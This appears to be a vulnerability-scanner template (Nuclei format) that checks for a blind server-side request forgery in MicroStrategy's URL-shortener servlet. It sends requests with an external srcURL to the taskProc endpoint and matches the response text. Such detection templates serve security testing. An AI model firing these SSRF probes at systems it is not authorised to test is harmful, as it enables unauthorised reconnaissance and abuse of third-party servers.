id: microstrategy-ssrf
info:
  name: MicroStrategy tinyurl - BSSRF
  author: organiccrap
  severity: high
  description: Blind server-side request forgery vulnerability on MicroStrategy URL shortener.
  reference: https://medium.com/@win3zz/how-i-made-31500-by-submitting-a-bug-to-facebook-d31bb046e204
  tags: microstrategy,ssrf

requests:
  - method: GET
    path:
      - '{{BaseURL}}/servlet/taskProc?taskId=shortURL&taskEnv=xml&taskContentType=xml&srcURL=https://google.com'
      - '{{BaseURL}}/MicroStrategy/servlet/taskProc?taskId=shortURL&taskEnv=xml&taskContentType=xml&srcURL=https://google.com'
    headers:
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
    matchers:
      - type: word
        words:
          - taskResponse
          - The source URL is not valid
        condition: and
        part: body